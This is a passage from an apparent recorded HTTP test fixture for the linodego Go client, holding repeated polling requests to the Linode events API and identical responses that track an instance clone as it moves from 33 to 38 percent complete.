"action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.689429, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.763418, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.83245, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.903271, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.965159, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 24.032649, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 24.103911, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 24.17517, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 24.242433, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 24.304508, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 24.474616, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 24.833211, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 25.308979, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 25.385943, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 25.463582, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 25.542838, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 25.730787, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 